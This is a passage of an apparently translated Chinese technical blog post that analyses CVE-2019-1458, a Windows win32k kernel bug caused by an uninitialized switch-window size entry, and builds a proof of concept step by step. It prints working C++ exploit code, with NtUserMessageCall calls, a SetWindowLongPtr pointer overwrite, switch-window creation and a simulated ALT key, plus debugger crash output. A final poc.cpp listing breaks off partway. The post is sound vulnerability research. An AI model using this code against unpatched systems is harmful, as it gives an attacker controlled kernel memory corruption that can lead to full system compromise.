DrawSwitchWndHilite"></p><p>注：从<code>xxxPaintSwitchWindow</code>中调用<code>DrawSwitchWndHilite</code></p><p>在交叉引用观察之后(<code>xxxWrapSwitchWndProc</code>-&gt;<code>xxxSwitchWndProc</code>-&gt;<code>xxxPaintSwitchWindow</code>-&gt;<code>DrawSwitchWndHilite</code>)，我发现该调用链的第一个函数在<code>InitFunctionTables</code>表中，也是在补丁中修复的函数。</p><p>接下来我把目光移到了<code>NtUserMessageCall</code>函数上，下面是它的函数申明</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOLEAN bAnsi)</span><br></pre></td></tr></table></figure><p>Exploit是通过调用它并在参数中赋值了<code>msg = 0x14</code>和<code>dwType = 0xE0</code>，让我们看看它是如何做到的</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">HINSTANCE hInstance = GetModuleHandle(<span class="literal">NULL</span>);</span><br><span class="line">WNDCLASSEX wcx;</span><br><span class="line">ZeroMemory(&amp;wcx, <span class="keyword">sizeof</span>(wcx));</span><br><span class="line">wcx.hInstance = hInstance;</span><br><span class="line">wcx.cbSize = <span class="keyword">sizeof</span>(wcx);</span><br><span class="line">wcx.lpszClassName = <span class="string">L"SploitWnd"</span>;</span><br><span class="line">wcx.lpfnWndProc = DefWindowProc;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[*] Registering window\n"</span>);</span><br><span class="line">ATOM wndAtom = RegisterClassEx(&amp;wcx);</span><br><span class="line"><span class="keyword">if</span> (wndAtom == INVALID_ATOM) &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"[-] Failed registering SploitWnd window class\n"</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[*] Creating instance of this window\n"</span>);</span><br><span class="line">HWND sploitWnd = CreateWindowEx(<span class="number">0</span>, <span class="string">L"SploitWnd"</span>, <span class="string">L""</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>, hInstance, <span class="literal">NULL</span>);</span><br><span class="line"><span class="keyword">if</span> (sploitWnd == INVALID_HANDLE_VALUE) &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"[-] Failed to create SploitWnd window\n"</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">&#125;</span><br><span class="line">NtUserMessageCall(sploitWnd, WM_ERASEBKGND, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0xE0</span>, <span class="number">1</span>);</span><br></pre></td></tr></table></figure><p>在这里我简单的注册了一个窗口类并创建了窗口，然后我调用了<code>NtUserMessageCall</code>函数并赋予它和exploit中相同的参数观察结果。为了了解实际情况，我设置了断点 <code>kd&gt; ba e 1 win32k!NtUserMessageCall</code>并运行代码。</p><p>其中被断下来很多次，我们必须获取正确的调用链，这并不困难，因为它的调用栈很短。</p><p><img src="/2020/03/21/CVE-2019-1458-从-漏洞报告-到POC的编写过程/NtUserMessageCall.png" alt="NtUserMessageCall"></p><p>注：<code>NtUserMessageCall</code></p><p>单步调试代码可以发现它从 <code>gapfnMessageCall</code> 数组指针中通过索引来调用的函数，这里索引是0，索引是根据<code>msg</code>值计算的，因此他会调用<code>NtUserfnDWORD</code>函数</p><p><img src="/2020/03/21/CVE-2019-1458-从-漏洞报告-到POC的编写过程/NtUserfnDWORD.png" alt="NtUserfnDWORD"></p><p>注：<code>NtUserfnDWORD</code></p><p>下一个调用会比较<code>dwType</code>的值，并且现在<code>gpsi</code>的偏移等于0x40，导致调用到<code>xxxWrapSwitchWndProc</code>函数(这个函数在刚才<code>DrawSwitchWndHilite</code>函数的调用链中出现)。</p><p><code>xxxWrapSwitchWndProc</code>函数中又调用了<code>xxxSwitchWndProc</code>函数</p><p><img src="/2020/03/21/CVE-2019-1458-从-漏洞报告-到POC的编写过程/xxxSwitchWndProc.png" alt="xxxSwitchWndProc"></p><p>注：<code>xxxSwitchWndProc</code></p><p>代码执行到这里就会失败，没有办法继续执行到<code>xxxPaintSwitchWindow</code>函数，这是我们基于<code>msg</code>值等于<code>0x14</code>执行的流程。让我们检查一下原因。</p><h3 id="触发正确的路径"><a href="#触发正确的路径" class="headerlink" title="触发正确的路径"></a>触发正确的路径</h3><p>就像前面那张图显示的，代码在这个地方会执行失败，因为窗口的fnid值不等于<code>0x2A0</code> (<code>FNID_SWITCH</code>)，并且正在发送的消息不等于1，所以会直接结束<code>xxxDefWindowProc</code>函数。为了避免这种情况，我们需要将fnid值设置为<code>FNID_SWITCH</code>然后再调用<code>xxxSwitchWndProc</code> 函数，这样我们就可以通过执行switch语句调用到<code>xxxPaintSwitchWindow</code>函数。</p><p>如何设置正确的fnid值？实际上上图中红色框已经显示的很清楚了，我们只需要将if中的检查全部失败即可到达设置fnid值的地方。</p><p>下面是一些我们需要满足的条件，使这三个if判断都失败：</p><ul><li><p><code>fnid == 0</code> 和<code>cbwndExtra + 0x128 &gt;= *(gpsi + 0x154)</code></p><p>对于每个用户创建的新窗口而言，它的fnid值都为0，<code>*(gpsi+0x154)</code>值在未修复版本的win32k中为0，在修复版本中即使它被设置为<code>0x130</code>，我们仍可以通过将<code>cbwndExtra</code>设置为8或更高从而绕过第一个检查</p></li><li><p><code>msg == 1</code></p><p>可以通过<code>NtUserMessageCall</code>函数进行设置，虽然将<code>msg</code> 设为 <code>1</code>可以控制流程执行到 <code>NtUserfnINLPCREATESTRUCT</code>而不是 <code>NtUserfnDWORD</code> 但是它仍会在<code>xxxSwitchWndProc</code>处终止</p></li><li><p><code>extraData == 0</code></p><p>extraData的大小可以通过注册窗口时的<code>cbwndExtra</code>值来确定。extraData会紧接在<code>tagWND</code>结构之后(我在IDA中将这个字段使用 <code>QWORD</code>类型添加到<code>tagWND</code>结构里在<code>sizeof(tagWND)</code>偏移处，这样会增加反编译代码的阅读性)。它的值可以通过调用<code>SetWindowLongPtr</code>函数直接来设置。</p></li></ul><p>如果满足上述所有条件，窗口的fnid值就会设置为<code>FNID_SWITCH</code>。</p><p>因此我们现在需要调用两次<code>NtUserMessageCall</code> 函数，第一次将参数<code>msg</code> 赋值为 <code>1</code> 来设置需要的fnid值，第二次则直接调用到达<code>xxxPaintSwitchWindow</code>问题函数</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">HINSTANCE hInstance = GetModuleHandle(<span class="literal">NULL</span>);</span><br><span class="line">WNDCLASSEX wcx;</span><br><span class="line">ZeroMemory(&amp;wcx, <span class="keyword">sizeof</span>(wcx));</span><br><span class="line">wcx.hInstance = hInstance;</span><br><span class="line">wcx.cbSize = <span class="keyword">sizeof</span>(wcx);</span><br><span class="line">wcx.lpszClassName = <span class="string">L"SploitWnd"</span>;</span><br><span class="line">wcx.lpfnWndProc = DefWindowProc;</span><br><span class="line">wcx.cbWndExtra = <span class="number">8</span>; <span class="comment">//to pass check in xxxSwitchWndProc </span></span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[*] Registering window\n"</span>);</span><br><span class="line">ATOM wndAtom = RegisterClassEx(&amp;wcx);</span><br><span class="line"><span class="keyword">if</span> (wndAtom == INVALID_ATOM) &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"[-] Failed registering SploitWnd window class\n"</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[*] Creating instance of this window\n"</span>);</span><br><span class="line">HWND sploitWnd = CreateWindowEx(<span class="number">0</span>, <span class="string">L"SploitWnd"</span>, <span class="string">L""</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>, hInstance, <span class="literal">NULL</span>);</span><br><span class="line"><span class="keyword">if</span> (sploitWnd == INVALID_HANDLE_VALUE) &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"[-] Failed to create SploitWnd window\n"</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"</span>);</span><br><span class="line">NtUserMessageCall(sploitWnd, WM_CREATE<span class="comment">/* = 1*/</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0x0</span>, <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[*] Calling NtUserMessageCall second time"</span>);</span><br><span class="line">NtUserMessageCall(sploitWnd, WM_ERASEBKGND<span class="comment">/* = 0x14*/</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0x0</span>, <span class="number">1</span>);</span><br></pre></td></tr></table></figure><p>我为窗口类添加了<code>extraData</code>，并添加了第二次调用的<code>NtUserMessageCall</code>函数。现在我们的调用链就可以达到<code>xxxPaintSwitchWindow</code>函数了。</p><p>(附带说明：<code>dwType</code> 的值不需要等于 <code>0xE0</code>, 其值为 <code>0</code> 效果也是一样的 , 因为在 <code>NtUserfnDWORD</code> 函数中会和 <code>0x1F</code> 进行与操作)</p><p><img src="/2020/03/21/CVE-2019-1458-从-漏洞报告-到POC的编写过程/xxxPaintSwitchWindow.png" alt="xxxPaintSwitchWindow"></p><p>注：<code>xxxPaintSwitchWindow</code></p><p>经过仔细的检查，我发现从窗口对象(25行)获取的 <code>extraWndData</code>的值会被当成一个指针去修改一块内存的值！(46-52行)如果我能通过代码设置<code>extraWndData</code>的值，那我们就可以实现破坏任意内存！</p><p>要达到此目的我们需要再通过一些检查(红色标记)：</p><ul><li><p>检查窗口属性是否有<code>WS_VISIBLE</code>标志</p><p>这个标志可以直接通过<code>CreateWindowEx</code>设置</p></li><li><p><code>fnid == 0x2A0</code> 和<code>cbwndExtra + 0x128 == *(gpsi + 0x154)</code>  </p><p>fnid的值已经被第一次调用的<code>NtUserMessageCall</code>函数设定了。</p><p>问题出在第二个检查，由于 <code>*(gpsi + 0x154)</code>没有在未补丁的<code>win32k</code>模块中初始化，因此这里的检查会一直不通过。除非我们以某种方式将其设置为正确的值。事实证明，创建特殊的切换窗口(卡巴斯基文章中提到)可以做到这一点。</p></li><li><p>检查窗口是否未销毁</p><p>在这种情况下已经实现未销毁。</p></li></ul><p>要创建特殊的<a href="https://docs.microsoft.com/en-us/windows/win32/winauto/switch-window" target="_blank" rel="noopener">切换窗口</a>，我们需要调用<code>CreateWindowEx</code>函数并设置窗口名为<code>0x8003</code> (<code>#32771</code>)。这样我们最终就会在内核中调用到<code>InternalRegisterClassEx</code>函数</p><p><img src="/2020/03/21/CVE-2019-1458-从-漏洞报告-到POC的编写过程/InternalRegisterClassEx.png" alt="InternalRegisterClassEx"></p><p>注：<code>InternalRegisterClassEx</code> 函数片断</p><p>这里会初始化<code>*(gpsi+0x154)</code> 的值为 <code>0x130</code></p><p>这样做的副作用是，这个变量值一旦被设定，就无法再设置为0。因此，我们只有一次运行exploit的机会。任何其他的尝试都会在下次重新运行之前失败。</p><h3 id="控制解引用的值"><a href="#控制解引用的值" class="headerlink" title="控制解引用的值"></a>控制解引用的值</h3><p>现在，我们可以控制<code>extraWndData</code>的值后来作为指针被解引用并且传入<code>xxxPaintSwitchWindow</code>中，<code>extraWndData</code> 可以通过调用如下函数控制</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SetWindowLongPtr(HWND hWnd, <span class="keyword">int</span> nIndex, LONG_PTR dwNewLong)</span><br></pre></td></tr></table></figure><p>需要关注的一件事情是，我们必须在第一次调用<code>NtUserMessageCall</code>函数之后进行此调用，因为如下图所示，在第一次调用时<code>xxxSwitchWndProc</code>函数要将窗口的<code>extraData</code>值设置为0，所以我们需要绕过这个检查。</p><p>在创建切换窗口之前<code>SetWindowLongPtr</code> 函数也需要进行调用，参见下图：</p><p><img src="/2020/03/21/CVE-2019-1458-从-漏洞报告-到POC的编写过程/xxxSetWindowLong.png" alt="xxxSetWindowLong"></p><p>注：xxxSetWindowLong函数片段</p><p>这是我们实际利用未初始化变量<code>*(gpsi + 0x154)</code>的地方，通过此检查后，我们将<code>wnd-&gt;extraData</code>设置为任意值。如果正确初始化，则此处的利用将失败</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">HINSTANCE hInstance = GetModuleHandle(<span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line">WNDCLASSEX wcx;</span><br><span class="line">ZeroMemory(&amp;wcx, <span class="keyword">sizeof</span>(wcx));</span><br><span class="line">wcx.hInstance = hInstance;</span><br><span class="line">wcx.cbSize = <span class="keyword">sizeof</span>(wcx);</span><br><span class="line">wcx.lpszClassName = <span class="string">L"SploitWnd"</span>;</span><br><span class="line">wcx.lpfnWndProc = DefWindowProc;</span><br><span class="line">wcx.cbWndExtra = <span class="number">8</span>; <span class="comment">//to pass check in xxxSwitchWndProc</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[*] Registering window\n"</span>);</span><br><span class="line">ATOM wndAtom = RegisterClassEx(&amp;wcx);</span><br><span class="line"><span class="keyword">if</span> (wndAtom == INVALID_ATOM) &#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[-] Failed registering SploitWnd window class\n"</span>);</span><br><span class="line"><span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[*] Creating instance of this window\n"</span>);</span><br><span class="line">HWND sploitWnd = CreateWindowEx(<span class="number">0</span>, <span class="string">L"SploitWnd"</span>, <span class="string">L""</span>, WS_VISIBLE, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>, hInstance, <span class="literal">NULL</span>);</span><br><span class="line"><span class="keyword">if</span> (sploitWnd == INVALID_HANDLE_VALUE) &#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[-] Failed to create SploitWnd window\n"</span>);</span><br><span class="line"><span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"</span>);</span><br><span class="line">NtUserMessageCall(sploitWnd, WM_CREATE, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0x0</span>, <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n"</span>);</span><br><span class="line">SetWindowLongPtr(sploitWnd, <span class="number">0</span>, <span class="number">0x4141414141414</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[*] GetLastError = %x\n"</span>, GetLastError());</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n"</span>);</span><br><span class="line">HWND switchWnd = CreateWindowEx(<span class="number">0</span>, (LPCWSTR)<span class="number">0x8003</span>, <span class="string">L""</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>, hInstance, <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[*] Triggering dereference of wnd-&gt;extraData by calling NtUserMessageCall second time"</span>);</span><br><span class="line">NtUserMessageCall(sploitWnd, WM_ERASEBKGND, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0x0</span>, <span class="number">1</span>);</span><br></pre></td></tr></table></figure><p>这是运行上述代码的结果</p><p><img src="/2020/03/21/CVE-2019-1458-从-漏洞报告-到POC的编写过程/windbg_exploit_working.png" alt="Debugging succesful run of exploit"></p><p>不久之后，当 <code>rdi</code> 取消引用时，我们就会产生一次异常检查。在修复的Windows上运行利用程序显示如下：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">[*] Registering window</span><br><span class="line">[*] Creating instance of <span class="keyword">this</span> window</span><br><span class="line">[*] Calling NtUserMessageCall to <span class="built_in">set</span> fnid = <span class="number">0x2A0</span> on window</span><br><span class="line">[*] Calling SetWindowLongPtr to <span class="built_in">set</span> window extra data, that will be later dereferenced</span><br><span class="line">bold:[*] GetLastError = <span class="number">585</span></span><br><span class="line">[*] Creating <span class="keyword">switch</span> window #<span class="number">32771</span>, <span class="keyword">this</span> has a result of setting (gpsi+<span class="number">0x154</span>) = <span class="number">0x130</span></span><br><span class="line">[*] Triggering dereference of wnd-&gt;extraData by calling NtUserMessageCall second time</span><br></pre></td></tr></table></figure><p><code>SetWindowLongPtr</code> 函数失败，返回错误码为 <code>0x585</code> 因为<code>*(gpsi + 0x154)</code>变量被正确的初始化了，所以不会引起异常检查。</p><h2 id="根本原因-回顾"><a href="#根本原因-回顾" class="headerlink" title="根本原因(回顾)"></a>根本原因(回顾)</h2><p>总的来讲，主要问题是未正确初始化<code>*(gpsi+0x154)</code>变量。</p><p>但这个值有什么作用，为何它如此重要？</p><p><code>gpsi</code>是一个全局指针指向<a href="https://www.reactos.org/wiki/Techwiki:Win32k/SERVERINFO" target="_blank" rel="noopener"><code>tagSERVERINFO</code></a>结构。这个结构描述了系统窗口(意味着菜单，桌面，切换等等)，而不是用户窗口。这些窗口通过FNID值进行识别，例如 <code>0x2A0</code> 代表着切换窗口。</p><p>当使用<code>RegisterClassEx</code>注册窗口时，我们有机会在<code>WNDCLASSEX</code>上指定<code>cbWndExtra</code> 字段，该字段描述了除<code>tagWND</code>结构外还将分配多少字节的额外数据，以储存窗口的额外信息。然后，我们可以通过调用<code>SetWindowLongPtr</code>函数修改这些额外的字节。</p><p>系统窗口使用完全相同的机制来储存工作所需要的额外数据。但是原则上，不应使用 <code>SetWindowLongPtr</code>修改此数据。我们看到<code>xxxSetWindowLongPtr</code>函数中确实有一个阻止它的检查。在申明类型信息之后，下面是检查部分：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (nIndex &gt;= gpsi-&gt;mpFnid_serverCBWndProc[(window-&gt;fnid &amp; <span class="number">0x3FFF</span>) - FNID_FIRST] - <span class="keyword">sizeof</span>(tagWND))</span><br><span class="line">    <span class="keyword">goto</span> exit_with_error</span><br></pre></td></tr></table></figure><p>数组<code>gpsi-&gt;mpFnid_serverCBWndProc</code>描述了给定的系统窗口对象(包括额外数据)的大小。</p><p><code>*(gpsi+0x154)</code> 成为<code>gpsi-&gt;mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]</code>。通过使该字段保持未初始化状态，<code>xxxSetWindowLongPtr</code> 认为额外数据的大小为 <code>sizeof(tagWND)</code>，因此，我们能够写入的是切换窗口结构中的私有字段。</p><p>这个漏洞的根本原因是未初始化(或者默认情况下初始化为0)的变量<code>gpsi-&gt;mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]</code>。</p><p>这解释了为什么这个补丁这么小。需要做的事情只是将其设置为<code>sizeof(tagWND) + 8</code>。以相同的方式现在也初始化了一些其他变量在 <code>mpFnid_serverCBWndProc</code> 数组中(<code>FNID_DESKTOP</code>, <code>FNID_TOOLTIPS</code>)，这应该也是为了防止其他类似的变种利用方法。</p><p><img src="/2020/03/21/CVE-2019-1458-从-漏洞报告-到POC的编写过程/InitFunctionTable_typeapplied.png" alt="InitFunctionTable with types"></p><h2 id="破坏内存"><a href="#破坏内存" class="headerlink" title="破坏内存"></a>破坏内存</h2><p>运行exploit我们可以产生一次异常，崩溃发生在以下指令：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">xxxPaintSwitchWindow + 0x8B:</span><br><span class="line">cmp     [rdi+6Ch], r13d; rdi = 0x4141414141414</span><br></pre></td></tr></table></figure><p>在编写POC的最后一步是造成更有用的崩溃，或者造成更好的内存损坏并不使系统崩溃。</p><p>为了实现最后一步，我们需要：</p><ul><li><p>提供一个有效的指针指向可读可写的内存</p><p>我选择使用<code>VirtualAlloc</code>函数去分配一些内存并将返回的指针作为参数传递给<code>SetWindowLongPtr</code></p></li><li><p>模拟按下ALT键</p><p>就像之前提到的，我们会在<code>xxxPaintSwitchWindow</code> 函数中调用 <code>GetKeyState/GetAsyncKeyState</code> 并检查是否有按下ALT键。如果没有按下，程序就会退出。不论是使用<code>GetKeyState</code> 还是 <code>GetAsyncKeyState</code> 它们都是由<code>[extraWndData+6Ch]</code>中的标志决定</p><p>我选择调用<code>SetKeyboardState</code>函数来模拟ALT键。这只适用于和 <code>GetKeyState</code> 函数一起调用，因此我需要将偏移 <code>0x6C</code> 处的值设置为 <code>1</code></p></li></ul><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">ptr = VirtualAlloc(<span class="number">0</span>, <span class="number">0x1000</span>, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);</span><br><span class="line">SetWindowLongPtr(sploitWnd, <span class="number">0</span>, ptr);</span><br><span class="line"></span><br><span class="line">BYTE keyData[<span class="number">256</span>];</span><br><span class="line">GetKeyboardState(keyData);</span><br><span class="line">keyData[VK_MENU] |= <span class="number">0x80</span>;<span class="comment">// simulate ALT </span></span><br><span class="line">SetKeyboardState(keyData);</span><br><span class="line"></span><br><span class="line">((BYTE*)ptr)[<span class="number">0x6c</span>] = <span class="number">1</span>;<span class="comment">// force use of GetKeyState inside xxxPaintSwitchWindow</span></span><br></pre></td></tr></table></figure><p>通过这段代码，我发生了另一次崩溃</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">DrawSwitchWndHilite + 0x10A:</span><br><span class="line">mov     rcx, [r12+20h]</span><br><span class="line">mov     dl, 1</span><br><span class="line">mov     rcx, [rcx]; rcx = 0</span><br></pre></td></tr></table></figure><p>因此，我提供了一个有效的偏移量指针<code>0x20</code>（指向自身）</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ptr[<span class="number">0x20</span> / <span class="keyword">sizeof</span>(*ptr)] = ptr; <span class="comment">// make double derefence succeed</span></span><br></pre></td></tr></table></figure><p>现在该漏洞利用程序可以正常工作而不会崩溃，并且当我们检查分配的页面的内容时，我们可以看到它已被修改！</p><p><img src="/2020/03/21/CVE-2019-1458-从-漏洞报告-到POC的编写过程/successfull_run.png" alt="Memory content"></p><p>我们实现了一个稳定的POC并且破坏了一块给予它的内存。这比在内存读取时POC崩溃要好得多，因为这种任意的内存损坏可以更容易地转变为任意的内核读/写。另外，我们已经提出了要损坏内存必须满足的条件。</p><h2 id="结论"><a href="#结论" class="headerlink" title="结论"></a>结论</h2><p>在这次练习中我介绍了如何通过一个漏洞描述报告实现一个有用的内核漏洞利用的POC。</p><p>这是一个非常有趣的利用就因为少了一行的代码。所以我想说的是，永远要记得初始化你的全局变量。</p><h2 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h2><p><code>poc.cpp</code></p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;cstdio&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;windows.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">extern</span> <span class="string">"C"</span> <span class="function">NTSTATUS <span class="title">NtUserMessageCall</span><span class="params">(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii)</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> </span>&#123;    </span><br><span class="line">    HINSTANCE hInstance = GetModuleHandle(<span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line">    WNDCLASSEX wcx;</span><br><span class="line">    ZeroMemory(&amp;wcx, <span class="keyword">sizeof</span>(wcx));</span><br><span class="line">    wcx.hInstance = hInstance;</span><br><span class="line">    wcx.cbSize = <span class="keyword">sizeof</span>(wcx);</span><br><span class="line">    wcx.lpszClassName = <span class="string">L"SploitWnd"</span>;</span><br><span class="line">    wcx.lpfnWndProc = DefWindowProc;</span><br><span class="line">    wcx.cbWndExtra = <span class="number">8</span>; <span class="comment">//pass check in xxxSwitchWndProc to set wnd-&gt;fnid = 0x2A0</span></span><br><span class="line">   </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"[*] Registering window\n"</span>);</span><br><span class="line">    ATOM wndAtom = RegisterClassEx(&amp;wcx);</span><br><span class="line">    <span class="keyword">if</span> (wndAtom == INVALID_ATOM) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">"[-] Failed registering SploitWnd window class\n"</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"[*] Creating instance of this window\n"</span>);</span><br><span class="line">    HWND sploitWnd = CreateWindowEx(<span class="number">0</span>, <span class="string">L"SploitWnd"</span>, <span class="string">L""</span>, 